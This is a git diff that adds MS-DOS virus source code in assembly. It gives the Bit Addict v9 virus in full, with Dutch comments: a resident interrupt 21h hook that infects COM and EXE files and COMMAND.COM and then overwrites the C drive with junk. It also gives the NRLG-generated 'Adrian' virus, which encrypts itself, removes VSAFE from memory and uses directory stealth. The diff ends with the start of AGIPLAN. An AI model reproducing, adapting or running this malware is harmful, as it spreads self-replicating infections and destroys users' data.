call DOS +@@81: mov ah,3eh ; sluit de file + call DOS +@@82: pop ds ; herstel de attributen van de + pop dx ; file + pop cx + test cx,1 + jz @@83 + mov ax,4301h + call DOS +@@83: pop es ; herstel de waarden van de + pop bp ; registers en keer terug + pop di ; naar het oude interrupt 21 + pop si + pop cx + pop bx + pop ax + ret + +CodeEnd equ $ + +Header dw HeaderLength/2 dup(0) +ComCS equ Header[OldSize-Comheader] ; Com file +ComID equ Header[Dead-ComHeader] + +Signature equ Header[0h] ; Exe file +PartPage equ Header[2h] +PageCount equ Header[4h] +HeaderSize equ Header[8h] +MinMem equ Header[0ah] +MaxMem equ Header[0ch] +ExeSS equ Header[0eh] +ExeSP equ Header[10h] +ExeID equ Header[12h] +ExeIP equ Header[14h] +ExeCS equ Header[16h] + +DosInt21 dd 0 +OldInt21 dd 0 +OldInt1 dd 0 + +File1 dw 36 dup(0) +File2 dw 36 dup(0) + +VirusEnd equ $ + +cseg ends + +sseg segment stack + db 200h dup(1) +sseg ends + +end Begin \ No newline at end of file diff --git a/a/Addict9.asm b/a/Addict9.asm new file mode 100755 index 0000000..9e711f6 --- /dev/null +++ b/a/Addict9.asm @@ -0,0 +1,743 @@ +; Bit Addict Versie 9 + +;----------------------------------------------------------------------------- +;----- ----- +;----- Macros en andere hulpmiddellen ----- +;----- ----- +;----------------------------------------------------------------------------- + +; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter +; wordt dan 128 bytes en er dus een foutmelding komt + +dfn macro Num1,Num2 + db Num1 + dw offset Num2 + endm + +jmpc macro Dest ; vervanging voor jc + local @@00 + + jnc @@00 + jmp Dest +@@00: + endm + +jmpnc macro Dest ; vervanging voor jnc + local @@00 + + jc @@00 + jmp Dest +@@00: + endm + +jmpe macro Dest ; vervanging voor je + local @@00 + + jnz @@00 + jmp Dest +@@00: + endm + +jmpne macro Dest ; vervanging voor jne + local @@00 + + jz @@00 + jmp Dest +@@00: + endm + +eseg segment + mov ax,4c00h ; exit + int 21h +eseg ends + +;----------------------------------------------------------------------------- +;----- ----- +;----- Begin van het Bit Addict virus ----- +;----- ----- +;----------------------------------------------------------------------------- + +cseg segment + assume cs:cseg,ds:cseg,es:cseg + org 0 + +BeginCode equ $ ; begin van het virus + +CodeSize equ CodeEnd-BeginCode ; de grootte van het +CodeSizePara equ (CodeEnd-BeginCode+0fh) / 10h ; virus achter een file + +VirusSize equ VirusEnd-BeginCode ; de grootte van het +VirusSizePara equ (VirusEnd-BeginCode+0fh) / 10h ; virus in het geheugen + +HeaderLength equ 18h ; grootte van een + +SavedCode equ this byte ; gegevens over het +OldSignature dw 5a4dh ; programma voor het +OldCSIP equ this dword ; virus +OldIP dw 0 +OldCS dw 0 +OldSP dw 200h +OldSS dw 0 +OldPartPage dw 0 +OldPageCount dw 0 + +Begin: push ax ; Programma om het virus + push ds ; resident te laten blijven + push es ; en om de comspec te + call Init ; infecteren + jnc @@12 + call BiosCheck ; Als bit addict op een andere + push cs ; computer draait wordt er een + pop es ; teller verhoogt. + xor al,al + mov cx,VirusSize-CodeSize ; zet alle variabelen op nul + mov di,CodeSize + cld + rep stosb ; debug interrupt 21h om het + call DebugOn ; orginele interrupt te vinden + pop es + push es + mov ah,4ah ; en reserveer geheugen voor + mov bx,-1 ; bit addict. + call DOS + push bx + call DebugOff + pop bx + mov ax,cs + pop dx + push dx + sub ax,dx + add ax,cs:MinMem + add ax,CodeSizePara+VirusSizePara+1 + cmp bx,ax + jb @@12 + mov ah,4ah + sub bx,VirusSizePara+1 + int 21h + jb @@12 + mov ah,48h + mov bx,VirusSizePara + int 21h + jb @@12 + mov es,ax + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call CopyBitAddict ; Copieer bit addict naar + pop es ; het gereserveerde geheugen + push es ; Infecteer bestand in de + call InfectComspec ; comspec +@@12: pop es + pop ds ; ga nu verder met het + pop ax ; programma voor Bit Addict + cli + mov ss,cs:OldSS + mov sp,cs:OldSP + sti + jmp cs:OldCSIP + + +Comspec db 'COMSPEC=' ; comspec environment variabele + ; om de command.com te vinden + +ID dw 0DEADh ; hier wordt het virus herkend + ; als het in het geheugen staat + +Count dw 0 ; In deze variabele staat op + ; hoeveel verschillende + ; computers het virus is + ; geweest +Bios db 10h dup(0) ; Gegevens over de bios, + ; door dit te vergelijken met + ; de bios kan het virus weten + ; of het virus op een andere + ; computer draait + +CopyBitAddict: + push cs ; copieer Bit Addict naar de + pop ds ; gereserveerde buffers + xor si,si + xor di,di + mov cx,VirusSize + cld + rep movsb + xor ax,ax ; leid interrupt 21h om naar + mov ds,ax ; Bit Addict + mov word ptr ds:[84h],offset NewInt21 + mov word ptr ds:[86h],es + ret + +InfectComspec: + mov es,es:[2ch] ; lees environment segment + xor di,di + push cs ; zoek naar de comspec + pop ds ; variabele + mov si,offset Comspec +@@30: push si + push di + mov cx,8 + cld + repe cmpsb + pop di + pop si + je @@31 + xor al,al + mov cx,-1 + cld + repne scasb + cmp byte ptr es:[di],0 ; is dit de laatste variabele ? + jne @@30 + jmp short @@33 +@@31: push es ; infecteer de COMMAND.COM of + pop ds ; andere command interpreter, + cmp byte ptr ds:[di+9],':' ; maar doe dit alleen wanneer + jne @@32 ; de comspec naar de c of de + mov al,ds:[di+8] ; d-drive wijst. + and al,0dfh + cmp al,'C' + je @@32 + cmp al,'D' + jne @@33 +@@32: lea dx,[di+8] + push cs:OldIP ; bewaar alle variabelen die + push cs:OldCS ; we nog nodig hebben. + push cs:OldSP + push cs:OldSS + call Infect ; infecteren + pop cs:OldSS ; herstel alle variabelen die + pop cs:OldSP ; we nog nodig hebben + pop cs:OldCS + pop cs:OldIP +@@33: ret + +DebugOn:push ax ; deze procedere is om de + push ds ; trap-flag te zetten, en + xor ax,ax ; interrupt 1 te initialiseren + mov ds,ax + cli + mov ax,ds:[4h] + mov word ptr cs:OldInt1[0],ax + mov ax,ds:[6h] + mov word ptr cs:OldInt1[2],ax + mov word ptr ds:[4],offset NewInt1 + mov word ptr ds:[6],cs + mov ax,ds:[84h] + mov word ptr cs:OldInt21[0],ax + mov ax,ds:[86h] + mov word ptr cs:OldInt21[2],ax + mov word ptr cs:DosInt21[0],0 + mov word ptr cs:DosInt21[2],0 + pushf + pop ax + or ah,1 + push ax + popf + sti + pop ds + pop ax + ret + +DebugOff: ; deze procedure zet de + push ax ; trap-flag weer op nul en + push ds ; herstelt interrupt 1. + cli + pushf + pop ax + and ah,0feh + push ax + popf + xor ax,ax + mov ds,ax + mov ax,word ptr cs:OldInt1[0] + mov ds:[4],ax + mov ax,word ptr cs:OldInt1[2] + mov ds:[6],ax + sti + pop ds + pop ax + ret + +Init: push cs + pop ds + cmp OldSignature,5a4dh + je @@50 + mov si,offset SavedCode ; herstel begin van het + mov di,100h ; com-programma + mov cx,Dead-ComHeader+2 + cld + rep movsb + mov OldSS,ss ; bewaar de waarden van + mov OldSP,sp ; ss,sp,cs en ip + sub OldSP,10h + mov OldCS,es + mov OldIP,100h + jmp short @@51 +@@50: mov ax,es ; bereken de waarden van + add ax,10h ; ss,sp,cs en ip + add OldCS,ax + add OldSS,ax +@@51: mov ax,4b40h ; controleer of Bit Addict al + int 21h ; in het geheugen aanwezig is + jc @@52 + mov ds,ax + mov ax,word ptr ds:ID ; vergelijk identificatie + cmp ax,word ptr cs:ID + je @@52 + stc +@@52: ret + +BiosCheck: ; deze procedure vergelijkt + mov ax,0ffffh ; de bios, met de gegevens + mov ds,ax ; over de bios in het virus, + push cs ; zijn deze niet gelijk, dan + pop es ; zal het virus op een andere + xor si,si ; computer draaien, en wordt + mov di,offset Bios ; er een teller verhoogt, komt + mov cx,10h ; deze teller boven de 255 dan + cld ; zal het bit-addict virus + repe cmpsb ; actief worden. + je @@54 + mov ax,cs:Count + inc ax + cmp ax,100h + jb @@53 + call BitAddict +@@53: mov cs:Count,ax + xor si,si + mov di,offset Bios + mov cx,10h + rep movsb +@@54: ret + +BitAddict: ; in deze procedure wordt + xor dx,dx ; de c-drive overscreven met +@@55: push dx ; onzin, dit mag verandert + mov ax,3 ; worden, om het virus iets + xor bx,bx ; anders te laten doen, een + mov cx,40h ; muziekje spelen, of met het + int 26h ; toetsenbord spelen + pop ax ; bijvoorbeeld. + pop dx + add dx,40h + or dx,dx + jne @@55 + ret + +NewInt1:push bp ; deze procedure wordt + mov bp,sp ; gebruikt bij het debuggen + push ax + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + jnz @@60 + cmp word ptr ss:[bp+4],300h + jae @@61 + mov ax,ss:[bp+2] + mov word ptr cs:DosInt21[0],ax + mov ax,ss:[bp+4] + mov word ptr cs:DosInt21[2],ax +@@60: and word ptr ss:[bp+6],0feffh +@@61: pop ax + pop bp + iret + +DOS: push ax ; roept interrupt 21h aan. + mov ax,word ptr cs:DosInt21[0] + or ax,word ptr cs:DosInt21[2] + pop ax + jnz @@62 + pushf + call cs:OldInt21 + ret +@@62: pushf + call cs:DosInt21 + ret + +Functions: ; dit is een tabel met alle + dfn 3ch,Open ; dos-functies die door + dfn 3dh,Open ; bit-addict verandert worden + dfn 3eh,Close + dfn 3fh,Read + dfn 40h,Write + dfn 4bh,Exec + +NewInt21: ; Het nieuwe interrupt 21h + pushf + push bx + push bp + mov bp,sp + mov bx,offset Functions +@@63: cmp ah,cs:[bx] + je @@68 + add bx,3 + cmp bx,offset NewInt21 + jne @@63 + pop bp + pop bx +EOI: popf + jmp cs:OldInt21 +@@68: mov bx,cs:[bx+1] + xchg bx,ss:[bp+2] + pop bp + ret + +InstallCheck: ; Zo kan bit addict weten + mov ax,cs ; dat er al een andere copy + popf ; aanwezig is + clc + retf 2 + +Exec: cmp al,40h + je InstallCheck + call CheckExtension ; functie 4bh, infecteer eerst + jc EOI ; met Bit Addict + popf + push dx + push ds + pushf + call cs:OldInt21 + pop ds + pop dx + pushf + call Infect + popf + retf 2 + +Open: call CheckExtension ; fn 3ch en 3dh + jc EOI + call cs:OldInt21 + jc @@92 + pushf + push ax + push cx + push si + push di + push es + push cs + pop es + mov si,dx + mov di,offset File1 + cmp word ptr es:[di],0 + je @@90 + mov di,offset File2 + cmp word ptr es:[di],0 + jne @@91 +@@90: cld + stosw + mov cx,70 + rep movsb +@@91: pop es + pop di + pop si + pop cx + pop ax + popf +@@92: retf 2 + +Close: cmp bx,cs:File1 ; fn 3eh + je @@93 + cmp bx,cs:File2 + jne EOI + call cs:OldInt21 + push si + mov si,offset File2 + jmp short @@94 +@@93: call cs:OldInt21 + push si + mov si,offset File1 +@@94: jc @@95 + pushf + push dx + push ds + push cs + pop ds + lea dx,[si+2] + call Infect + pop ds + pop dx + popf +@@95: mov word ptr cs:[si],0 + pop si + retf 2 + +Read: jmp EOI ; fn 3fh + +Write: jmp EOI ; fn 40h + +CheckExtension: ; controleer of de extensie + push ax ; wel exe of com is + push cx + push si + push di + push es + push ds + pop es + mov di,dx ; zoek het einde van de + xor al,al ; file-naam + mov cx,70 + cld + repne scasb + jne @@65 + std + mov al,'.' ; zoek de laatste punt + neg cx + add cx,70 + std + repne scasb + jne @@65 + lea si,[di+2] + cld + lodsw ; eerste 2 letters + and ax,0dfdfh ; maak hoofdletters + cmp ax,5845h ; 'EX' + je @@64 + cmp ax,4f43h ; 'CO' + jne @@65 + lodsb ; 3e letter + and al,0dfh + cmp al,4dh ; 'M' + je @@66 + jmp short @@65 +@@64: lodsb ; 3e letter + and al,0dfh + cmp al,45h ; 'E' + je @@66 +@@65: stc + jmp short @@67 +@@66: clc +@@67: pop es + pop di + pop si + pop cx + pop ax + ret + +ComHeader: ; dit stukje wordt voor een + mov ax,cs ; COM-file geplaatst, en is om + add ax,0100h ; het virus te starten. +OldSize equ this word-2 + push ax + mov ax,offset Begin + push ax + retf +Dead equ $ + dw 0DEADh ; signature, om te controleren + ; of een file al eens eerder + ; besmet is. + +Infect: push ax ; Infecteer een file + push bx + push cx + push si + push di + push bp + push es + mov ax,4300h ; lees attributen en bewaar + call DOS ; ze + jmpc @@83 + push cx + push dx + push ds + test cx,1 + jz @@71 + mov ax,4301h ; set Read-Only attribuut + and cx,0fffeh ; op nul + call DOS + jmpc @@82 +@@71: mov ax,3d02h ; open de file + call DOS + jmpc @@82 + mov bx,ax + mov ax,5700h ; lees de datum en tijd en + call DOS ; bewaar ze + jmpc @@81 + push cx + push dx + push cs ; ds=es=cs + pop ds + push cs + pop es + mov ah,3fh ; lees de header van de file + mov cx,HeaderLength + mov dx,offset Header + call DOS + jmpc @@80 + cmp ax,HeaderLength + jne @@75 + cmp Signature,5a4dh ; Controleer of ID aanwezig is + jne @@72 + cmp ExeID,0DEADh + jmp @@73 +@@72: cmp ComID,0DEADh +@@73: jmpe @@80 ; als ID aanwezig is, stop dan +@@74: cmp Signature,5a4dh + je @@77 +@@75: mov ax,4202h ; infecteer com-files + xor cx,cx ; ga naar het einde van de file + xor dx,dx + call DOS + mov cx,10h ; aanpassen van de com-header + div cx ; aan deze com-file + or dx,dx + je @@76 + push ax + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop ax + jmpc @@80 + inc ax +@@76: add ax,10h + mov OldSize,ax + mov si,offset Header ; bewaar het eerste deel van + mov di,offset SavedCode ; het programma + mov cx,Dead-ComHeader+2 + cld + rep movsb + mov ah,40h ; schrijf het virus achter het + mov cx,CodeSize ; programma + xor dx,dx + call DOS + jmpc @@80 + mov ax,4200h ; ga naar het begin van de file + xor cx,cx + xor dx,dx + call DOS + jmpc @@80 + mov ah,40h ; overschrijf het begin van het + mov cx,Dead-ComHeader+2 ; programma met de com-header + mov dx,offset ComHeader + call DOS + jmp @@80 +@@77: mov di,offset SavedCode ; infecteer exe-files + mov ax,5a4dh ; bewaar de oude waarden van + stosw ; cs:ip en ss:sp + mov ax,ExeIP + stosw + mov ax,ExeCS + stosw + mov ax,ExeSP + stosw + mov ax,ExeSS + stosw + mov ax,PartPage + stosw + mov ax,PageCount + stosw + mov ExeID,0DEADh ; Zet ID in exe-header + mov ax,4202h + xor cx,cx + xor dx,dx + int 21h + mov cx,10h + div cx + or dx,dx + je @@78 + push ax + push dx + mov ah,40h + mov cx,10h + sub cx,dx + xor dx,dx + call DOS + pop dx + pop ax + jc @@80 + inc ax +@@78: sub ax,HeaderSize + mov ExeCS,ax + mov ExeIP,offset Begin + add ax,VirusSizePara + mov ExeSS,ax + mov ExeSP,200h + mov ax,MinMem + cmp ax,20h+VirusSizePara-CodeSizePara + jae @@79 + mov ax,20h +@@79: mov MinMem,ax + mov ah,40h ; schrijf het virus achter + mov cx,CodeSize ; de exe-file + xor dx,dx + call DOS + jc @@80 + mov ax,4202h ; Pas de file-lengte in de + xor cx,cx ; header aan, als de file veel + xor dx,dx ; overlays bevat, dan zal de + call DOS ; exe-file niet meer werken, + mov cx,200h ; maar de file kan wel hersteld + div cx ; worden. + cmp dx,1 + cmc + adc ax,0 + mov PageCount,ax + mov PartPage,dx + mov ax,4200h + xor cx,cx + xor dx,dx ; ga naar het begin van de file + call DOS + jc @@80 + mov ah,40h ; schrijf de nieuwe exe-header + mov cx,HeaderLength ; over de oude heen. + mov dx,offset Header + call DOS +@@80: pop dx ; herstel de datum van de file + pop cx + mov ax,5701h + call DOS +@@81: mov ah,3eh ; sluit de file + call DOS +@@82: pop ds ; herstel de attributen van de + pop dx ; file + pop cx + test cx,1 + jz @@83 + mov ax,4301h + call DOS +@@83: pop es ; herstel de waarden van de + pop bp ; registers en keer terug + pop di ; naar het oude interrupt 21 + pop si + pop cx + pop bx + pop ax + ret + +CodeEnd equ $ + +Header dw HeaderLength/2 dup(0) +ComCS equ Header[OldSize-Comheader] ; Com file +ComID equ Header[Dead-ComHeader] + +Signature equ Header[0h] ; Exe file +PartPage equ Header[2h] +PageCount equ Header[4h] +HeaderSize equ Header[8h] +MinMem equ Header[0ah] +MaxMem equ Header[0ch] +ExeSS equ Header[0eh] +ExeSP equ Header[10h] +ExeID equ Header[12h] +ExeIP equ Header[14h] +ExeCS equ Header[16h] + +DosInt21 dd 0 +OldInt21 dd 0 +OldInt1 dd 0 + +File1 dw 36 dup(0) +File2 dw 36 dup(0) + +VirusEnd equ $ + +cseg ends + +sseg segment stack + db 200h dup(1) +sseg ends + +end Begin +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/a/Adrian.asm b/a/Adrian.asm new file mode 100755 index 0000000..8ee02f7 --- /dev/null +++ b/a/Adrian.asm @@ -0,0 +1,474 @@ +;Ŀ +; THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. [NuKE] PoWeR +; CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN [NuKE] WaReZ +; auToR: aLL [NuKE] MeMeBeRS [NuKE] PoWeR +; [NuKE] THe ReaL PoWeR! [NuKE] WaReZ +; NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 [NuKE] PoWeR +; + +.286 +code segment +assume cs:code,ds:code +org 100h + +start: CALL NEXT + +NEXT: + mov di,sp ;take the stack pointer location + mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus + sub bp,offset next ;subtract the large code off this code + ; +;******************************************************************* +; #1 DECRYPT ROUTINE +;******************************************************************* + +cmp byte ptr cs:[crypt],0b9h ;is the first runnig? +je crypt2 ;yes! not decrypt +;---------------------------------------------------------- +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt]+ bp ;di = first byte to decrypt +mov dx,1 ;dx = value for decrypt +;---------------------------------------------------------- +deci: ;deci = fuck label! +;---------------------------------------------------------- + +not byte ptr [di] +not byte ptr [di] +inc word ptr [di] +sub word ptr [di],09553h +add word ptr [di],0463h +inc word ptr [di] +add byte ptr [di],0c7h +sub word ptr [di],096b1h +inc word ptr [di] +inc byte ptr [di] +sub word ptr [di],06236h +sub word ptr [di],04fb9h +xor word ptr [di],0eaa0h +xor word ptr [di],02ff5h +inc byte ptr [di] +not byte ptr [di] +inc di +inc di +;---------------------------------------------------------- +jmp bye ;######## BYE BYE F-PROT ! ########## +mov ah,4ch +int 21h +bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!### +;----------------------------------------------------------- +mov ah,0bh ;######### BYE BYE TBAV ! ########## +int 21h ;### (CANGE INT AT YOU PLEASURE) ### +;---------------------------------------------------------- +loop deci ;repeat please! + ; +;***************************************************************** +; #2 DECRYPT ROUTINE +;***************************************************************** + ; +crypt: ;fuck label! + ; +mov cx,offset fin ;cx = large of virus +lea di,[offset crypt2] + bp ;di = first byte to decrypt +;--------------------------------------------------------------- +deci2: ; +xor byte ptr cs:[di],1 ;decrytion rutine +inc di ;very simple... +loop deci2 ; +;--------------------------------------------------------------- +crypt2: ;fuck label! + ; +MOV AX,0CACAH ;call to my resident interrup mask +INT 21H ;for chek "I'm is residet?" +CMP Bh,0CAH ;is equal to CACA? +JE PUM2 ;yes! jump to runnig program +call action +;***************************************************************** +; NRLG FUNCTIONS (SELECTABLE) +;***************************************************************** + +call ANTI_V +;**************************************************************** +; PROCESS TO REMAIN RESIDENT +;**************************************************************** + +mov ax,3521h +int 21h ;store the int 21 vectors +mov word ptr [bp+int21],bx ;in cs:int21 +mov word ptr [bp+int21+2],es ; +;--------------------------------------------------------------- +push cs ; +pop ax ;ax = my actual segment +dec ax ;dec my segment for look my MCB +mov es,ax ; +mov bx,es:[3] ;read the #3 byte of my MCB =total used memory +;--------------------------------------------------------------- +push cs ; +pop es ; +sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus +sub bx,17 + offset fin ;and 100H for the PSP total +mov ah,4ah ;used memory +int 21h ;put the new value to MCB +;--------------------------------------------------------------- +mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin +mov ah,48h ; +int 21h ;request the memory to fuck DOS! +;--------------------------------------------------------------- +dec ax ;ax=new segment +mov es,ax ;ax-1= new segment MCB +mov byte ptr es:[1],8 ;put '8' in the segment +;-------------------------------------------------------------- +inc ax ; +mov es,ax ;es = new segment +lea si,[bp + offset start] ;si = start of virus +mov di,100h ;di = 100H (psp position) +mov cx,offset fin - start ;cx = lag of virus +push cs ; +pop ds ;ds = cs +cld ;mov the code +rep movsb ;ds:si >> es:di +;-------------------------------------------------------------- +mov dx,offset virus ;dx = new int21 handler +mov ax,2521h ; +push es ; +pop ds ; +int 21h ;set the vectors +;------------------------------------------------------------- +pum2: ; + ; +mov ah,byte ptr [cs:bp + real] ;restore the 3 +mov byte ptr cs:[100h],ah ;first bytes +mov ax,word ptr [cs:bp + real + 1] ; +mov word ptr cs:[101h],ax ; +;------------------------------------------------------------- +mov ax,100h ; +jmp ax ;jmp to execute + ; +;***************************************************************** +;* HANDLER FOR THE INT 21H +;***************************************************************** + ; +VIRUS: ; + ; +cmp ah,4bh ;is a 4b function? +je REPRODUCCION ;yes! jump to reproduce ! +cmp ah,11h +je dir +cmp ah,12h +je dir +dirsal: +cmp AX,0CACAH ;is ... a caca function? (resident chek) +jne a3 ;no! jump to a3 +mov bh,0cah ;yes! put ca in bh +a3: ; +JMP dword ptr CS:[INT21] ;jmp to original int 21h +ret ; +make db 'Adrian by NRLG' +dir: +jmp dir_s +;------------------------------------------------------------- +REPRODUCCION: ; + ; +pushf ;put the register +pusha ;in the stack +push si ; +push di ; +push bp ; +push es ; +push ds ; +;------------------------------------------------------------- +push cs ; +pop ds ; +mov ax,3524H ;get the dos error control +int 21h ;interupt +mov word ptr error,es ;and put in cs:error +mov word ptr error+2,bx ; +mov ax,2524H ;change the dos error control +mov dx,offset all ;for my "trap mask" +int 21h ; +;------------------------------------------------------------- +pop ds ; +pop es ;restore the registers +pop bp ; +pop di ; +pop si ; +popa ; +popf ; +;------------------------------------------------------------- +pushf ;put the registers +pusha ; +push si ;HEY! AZRAEL IS CRAZY? +push di ;PUSH, POP, PUSH, POP +push bp ;PLEEEEEAAAAAASEEEEEEEEE +push es ;PURIFY THIS SHIT! +push ds ; +;------------------------------------------------------------- +mov ax,4300h ; +int 21h ;get the file +mov word ptr cs:[attrib],cx ;atributes +;------------------------------------------------------------- +mov ax,4301h ;le saco los atributos al +xor cx,cx ;file +int 21h ; +;------------------------------------------------------------- +mov ax,3d02h ;open the file +int 21h ;for read/write +mov bx,ax ;bx=handle +;------------------------------------------------------------- +mov ax,5700h ; +int 21h ;get the file date +mov word ptr cs:[hora],cx ;put the hour +mov word ptr cs:[dia],dx ;put the day +and cx,word ptr cs:[fecha] ;calculate the seconds +cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX) +jne seguir ;yes! the file is infected! +jmp cerrar ; +;------------------------------------------------------------ +seguir: ; +mov ax,4202h ;move the pointer to end +call movedor ;of the file +;------------------------------------------------------------ +push cs ; +pop ds ; +sub ax,3 ;calculate the +mov word ptr [cs:largo],ax ;jmp long +;------------------------------------------------------------- +mov ax,04200h ;move the pointer to +call movedor ;start of file +;---------------------------------------------------------- +push cs ; +pop ds ;read the 3 first bytes +mov ah,3fh ; +mov cx,3 ; +lea dx,[cs:real] ;put the bytes in cs:[real] +int 21h ; +;---------------------------------------------------------- +cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ? +jne er1 ;yes! is a EXE... fuckkk! +;---------------------------------------------------------- +jmp cerrar +er1: +;---------------------------------------------------------- +mov ax,4200h ;move the pointer +call movedor ;to start fo file +;---------------------------------------------------------- +push cs ; +pop ds ; +mov ah,40h ; +mov cx,1 ;write the JMP +lea dx,[cs:jump] ;instruccion in the +int 21h ;fist byte of the file +;---------------------------------------------------------- +mov ah,40h ;write the value of jmp +mov cx,2 ;in the file +lea dx,[cs:largo] ; +int 21h ; +;---------------------------------------------------------- +mov ax,04202h ;move the pointer to +call movedor ;end of file +;---------------------------------------------------------- +push cs ; +pop ds ;move the code +push cs ;of my virus +pop es ;to cs:end+50 +cld ;for encrypt +mov si,100h ; +mov di,offset fin + 50 ; +mov cx,offset fin - 100h ; +rep movsb ; +;---------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus +enc: ; +xor byte ptr cs:[di],1 ;encrypt the virus +inc di ;code +loop enc ; +;--------------------------------------------------------- +mov cx,offset fin +mov di,offset fin + 50 + (offset crypt - offset start) ;virus +mov dx,1 +enc2: ; + +not byte ptr [di] +dec byte ptr [di] +xor word ptr [di],02ff5h +xor word ptr [di],0eaa0h +add word ptr [di],04fb9h +add word ptr [di],06236h +dec byte ptr [di] +dec word ptr [di] +add word ptr [di],096b1h +sub byte ptr [di],0c7h +dec word ptr [di] +sub word ptr [di],0463h +add word ptr [di],09553h +dec word ptr [di] +not byte ptr [di] +not byte ptr [di] +inc di +inc di ;the virus code +loop enc2 ; +;-------------------------------------------- +mov ah,40h ; +mov cx,offset fin - offset start ;copy the virus +mov dx,offset fin + 50 ;to end of file +int 21h ; +;---------------------------------------------------------- +cerrar: ; + ;restore the +mov ax,5701h ;date and time +mov cx,word ptr cs:[hora] ;file +mov dx,word ptr cs:[dia] ; +or cx,word ptr cs:[fecha] ;and mark the seconds +int 21h ; +;---------------------------------------------------------- +mov ah,3eh ; +int 21h ;close the file +;---------------------------------------------------------- +pop ds ; +pop es ;restore the +pop bp ;registers +pop di ; +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +pusha ; + ; +mov ax,4301h ;restores the atributes +mov cx,word ptr cs:[attrib] ;of the file +int 21h ; + ; +popa ; +;---------------------------------------------------------- +pushf ; +pusha ; 8-( = f-prot +push si ; +push di ; 8-( = tbav +push bp ; +push es ; 8-) = I'm +push ds ; +;---------------------------------------------------------- +mov ax,2524H ; +lea bx,error ;restore the +mov ds,bx ;errors handler +lea bx,error+2 ; +int 21h ; +;---------------------------------------------------------- +pop ds ; +pop es ; +pop bp ;restore the +pop di ;resgisters +pop si ; +popa ; +popf ; +;---------------------------------------------------------- +JMP A3 ;jmp to orig. INT 21 + ; +;********************************************************** +; SUBRUTINES AREA +;********************************************************** + ; +movedor: ; + ; +xor cx,cx ;use to move file pointer +xor dx,dx ; +int 21h ; +ret ; +;---------------------------------------------------------- +all: ; + ; +XOR AL,AL ;use to set +iret ;error flag + +;*********************************************************** +; DATA AREA +;*********************************************************** +largo dw ? +jump db 0e9h +real db 0cdh,20h,0 +hora dw ? +dia dw ? +attrib dw ? +int21 dd ? +error dd ? + +;--------------------------------- +action: ;Call label +MOV AH,2AH ; +INT 21H ;get date +CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day? +JE cont ;nop! fuck ret +cmp byte ptr cs:[action_dia+bp],32 ; +jne no_day ; +cont: ; +cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month? +je set ; +cmp byte ptr cs:[action_mes+bp],13 ; +jne NO_DAY ;nop! fuck ret +set: ; +mov AH,9 ;yeah!! +MOV DX,OFFSET PAO ;print my text! +INT 21H ;now! +INT 20H ;an finsh te program +NO_DAY: ;label to incorrect date +ret ;return from call +;--------------------------------- + + +PAO: +DB 10,13,'To you from Intestinal Fortitude','$' + +;--------------------------------- +ANTI_V: ; +MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY +MOV DX,5945H ; +INT 21H ; +ret ; +;--------------------------------- + +;***************************************************** +dir_s: + pushf + push cs + call a3 ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + mov es,bx + cmp bx,es:[16h] + jnz not_infected + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,byte ptr cs:fechad + jnz not_infected + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;******************************************************************** +; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX +;********************************************************************* + +action_dia Db 019H ;day for the action +action_mes Db 0bH ;month for the action +FECHA DW 01eH ;Secon for mark +FECHAd Db 01eH ;Secon for mark dir st +fin: +code ends +end start diff --git a/a/Agiplan.asm b/a/Agiplan.asm new file mode 100755 index 0000000..d1f62b0 --- /dev/null +++ b/a/Agiplan.asm @@ -0,0 +1,1003 @@ + +PAGE 59,132 + +; +; +; AGIPLAN +; +; Created: 1-Sep-90 +; Version: +; Passes: 5 Analysis Options on: none +; +; +; + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +data_1e equ 46Dh ; (0000:046D=0B35h) +data_2e equ 600h ; (0000:0600=54h) +data_3e equ 0Eh ; (0A10:000E=1) +data_4e equ 1 ; (936D:0001=0FFFFh) +data_5e equ 0 ; (936E:0000=0) +data_6e equ 2 ; (936E:0002=0) +data_7e equ 12h ; (936E:0012=0) +data_8e equ 14h ; (936E:0014=936Eh) +data_9e equ 0F0h ; (936E:00F0=0) +data_10e equ 0F6h ; (936E:00F6=0) +data_11e equ 0FAh ; (936E:00FA=0) +data_12e equ 0FEh ; (936E:00FE=0) +data_45e equ 2Ch ; (93CE:002C=0FFFFh) +data_46e equ 5B0h ; (93CE:05B0=41h) +data_47e equ 600h ; (93CE:0600=41h) 